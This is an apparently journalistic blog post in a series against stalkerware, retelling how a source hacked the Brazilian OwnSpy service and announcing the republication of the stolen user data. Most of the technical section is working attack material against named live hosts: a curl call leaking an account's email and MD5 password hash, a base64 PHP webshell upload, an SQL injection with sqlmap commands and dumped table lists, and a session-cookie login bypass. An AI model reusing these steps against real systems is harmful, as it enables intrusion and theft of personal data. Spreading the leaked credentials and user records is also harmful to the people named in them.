screenshot of the start of a file called README.txt, there is big ascii textart reading 'ownedspy', and text below reads 'ownspy is REALLY REALLY owned!!! #fuckstalkerware #antisec #acab' and 'The #fuckstalkerware games continue. Another one bites the dust.'

#FuckStalkerware pt. 3 - ownspy got, well, owned

more like ownedspy amiright

content warnings:
mentions of abuse/controlling behaviour

the intro to this series and the concept of stalkerware can be found here

we continue our series on stalkerware with a write-up and batch of data sent to me by a source last night. this time it is the brazilian ownspy (aka webdetective and saferspy, by mobileinnova) that has been completely hacked. among other things ownspy claims to be the #1 most privacy focused "parental control app" allegedly featuring E2E encryption, if this sounds too good to be true that's because it mostly is, but more on that later.

a text box on a landing page reading: The Most Privacy Focused Parental Control App. OwnSpy is the #1 Parental Control App with E2E Encryption. Since its inception OwnSpy started to encrypt everything on the device. Once you register your account a new key is generated and encrypted with your password. This key is stored only on your device so it will be used to encrypt all your data before being uploaded to OwnSpy servers. We do not have and do not want to have access to your data, so we only store this key on your device. In other words: there is no way to access your data without your personal password. As a result, you should never share your password with anyone, not even us. Like us, Apple always believed that your data belongs only to you.

(i do also think there is something especially distasteful about reading "your data only belongs to you" on the website for a hidden spyware)

the technical stuff

the write-up (which most of this section is a paraphrased, and hopefully somewhat simplified, retelling of) starts off with signing up for a free trial and reverse engineering the mobile app. which lead them to fairly quickly find an endpoint called with merely the generated device id which returns the user accounts email address and password hash (unsalted md5):

curl 'https://6287970dd9.era3000.com/server/?cmd=isreg&id=d41d8cd98f00b204e9800998ecf8427e'
{
  "registered": 1,
  "email": "martinsalan578@gmail.com",
  "account_type": "3",
  "tracking": 0,
  "trackingrate": 120,
  "checkrate": 120,
  "userpass": "30d8696be94bed700c6e85f219f7db5b",
[...]

enumeration?

this obviously invites simple enumerations over all device ids, a quick look at the android app source code (decompiled using jadx) however shows that the ID is generated by creating an md5 hash of one of the following sources,

String str2 = Build.SERIAL;
String macAddress = ((WifiManager) getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress();
String string = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id");
String str3 = ((TelephonyManager) systemService).getDeviceId();

which is way too much entropy for simple enumeration, all of these parameters are way too complex to enumerate on their own.

webshell?

the hunt continues. once again, as so often with the badly coded php backends to stalkerware apps, the photo upload endpoint allows for arbitrary uploads, so will a webshell work (see the previous entry in this series for more on webshells)?

curl 'https://6287970dd9.era3000.com/server/?cmd=newjson&id=d41d8cd98f00b204e9800998ecf8427e&v=798e70a44d93b2fe85e1aa8a3049bfb0' --data '@payload.json' 
// payload.json:
{ 
  "type": "photo", 
  "content": [{"data": "PD9waHAgcGhwaW5mbygpOwo=", "name": "photo.php", "encrypted": 0}] 
}

while the upload succeeded, this didn't work out either, as photos are served to the dashboard via a php script rather than directly from their path, and unless they could've guessed the path to which images are uploaded to there wasn't any way to get a webshell to execute either.

sql injection?

after none of the above attempts had worked and nothing else stuck to the data apis or the user dashboard my source proceeded to take a look at further ownspy infrastructure. which is how they stumbled onto an interesting seeming subdomain with an expired and invalid certificate, webdetective.era3000.com - some sort of admin panel.

a basic attempt at sql injection (sqli) by submitting a single quote in the login form yielded the following:

curl -k "https://webdetetive.era3000.com/login.php" --data "email=te'st@gmail.com&password=test"
[...]
  <br />
  <b>Fatal error</b>:  Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/login.php on line 7 and defined in /home/ownspy/mysql.php:122
  Stack trace:
  #0 /home/ownspy/admin_saferespiao/login.php(7): mysql_fetch_assoc(false)
  #1 {main}
    thrown in <b>/home/ownspy/mysql.php</b> on line <b>122</b><br />
[...]

oh hell yea, successful sqli! upon then trying to exploit the sqli to forcibly log in to the admin panel it just errors out again, making it clear this forgotten about web app was not just vulnerable but also broken. well, at least it was still possible to get some data with sqlmap

sqlmap --data 'email=test@gmail.com&password=tesst' -u 'https://webdetetive.era3000.com/login.php' --risk 3 --dbms mysql --tables --exclude-sysdbs
Database: mobileinnova
[5 tables]
+--------------------+
| log                |
| addfunds_options   |
| affiliates         |
| log_saferespiao    |
| log_saferspy       |
+--------------------+

Database: ownspy_saferespiao
[75 tables]
+--------------------+
| Postcodes          |
| export             |
| log                |
| abperson           |
| abvalue            |
| account_notes      |
| affiliates         |
| analysis           |
| apps               |
[...]
| tmpcar             |
| tmptable           |
| twitter            |
| twitter_chats      |
| twitter_profiles   |
| users              |
| video              |
| webhistory         |
| whatsapp           |
| whatsapplite       |
| whatsapplite2      |
| wordlist           |
| words              |
| wordsdetected      |
| wx_contacts        |
| wx_msgs            |
| youtube            |
+--------------------+

this is good enough to grab tablenames, but (while technically possible) dumping the entire database via boolean sqli is super slow and will take forever. there had to still be a better way.

the first manual injection attempt our source did, it might not have resulted in access to the admin panel, but it did create a session cookie OWNSESS=h3car4ccebhb71glq2f7bhu91g, they decided to go ahead and try if it is valid anywhere else. on the user facing control panel (paineldecontrole.webdetetive.com.br) it results in a page saying the subscription is expired and redirects to the main page. so their session is valid but not very useful here!

looking more at the invalid and expired SSL cert for webdetetive.era3000.com reveals that it IS valid for another domain, admin.webdetetive.com.br, which has an identical admin panel. the sqli however doesn;t work here, making it appear that this is not the exact same panel. however the login is bypassed using the OWNSESS cookie from earlier!

grabbing the data!

it is now fairly simple to list all customers and grab their device ids

grep -h '<td style="font-size: 12px"' ownedspy.html | head -n5
  <td style="font-size: 12px">09E19F61F4A08DFDAE6FA7D2072C02DF</td>
  <td style="font-size: 12px">3B8FF69FC51EB1D21315D532942C1B26</td>
  <td style="font-size: 12px">E5BD7C87E0A50BBCECF90D83817BD6EA</td>
  <td style="font-size: 12px">41832A25F3F1AC3F6E5C9A6E08B44733</td>
  <td style="font-size: 12px">1F89710FD9678F30225B96D371CC4AB5</td>

feeding those back into the isreg url from the very start then let them get the user data for all users (most notably email addresses + MD5 passwords).

the write-up then claims that "the admin panel also lets us impersonate any user in the user dashboard at paineldecontrole.webdetetive.com.br and spy on their device," none of that data has been made available to me in the release and they go on to make it clear all devices were deleted from user accounts, "Because we could. Because #fuckstalkerware."

the release message then ends here in "Greetz to LeopardBoy and the Decepticons."

the release

other than the write-up the package i was sent contained a text file with all device ids, a text file with users listed in <email>:<hashed password> format (hi and welcome to my blog post troy hunt), as well as the raw admin portal and isreg scraping results, containing additional user data, some info on target device (phone type, os version, ownspy version), all user sign in IPs and dates and payment history. i have decided to republish this data as is, i have no interest in protecting stalkers and given victim data has been deleted there is little risk of direct additional compromises.

ownedspy.zip (ZIP, 151405 files, 368MB), previously available as a torrent

basic analysis

we don't have a lot of data to work with here, so this won't be super in depth, but what we do know is that ownspy has almost 75K users and over 76K registered devices (this makes sense since sign up for ownspy works via the mobile app on the target device). looking through the list of email addresses for potentially interesting users as always, reveals over 100 government email addresses, all of them from the brazilian government, and as far as i can tell all of them in education (teacher, education department and student addresses).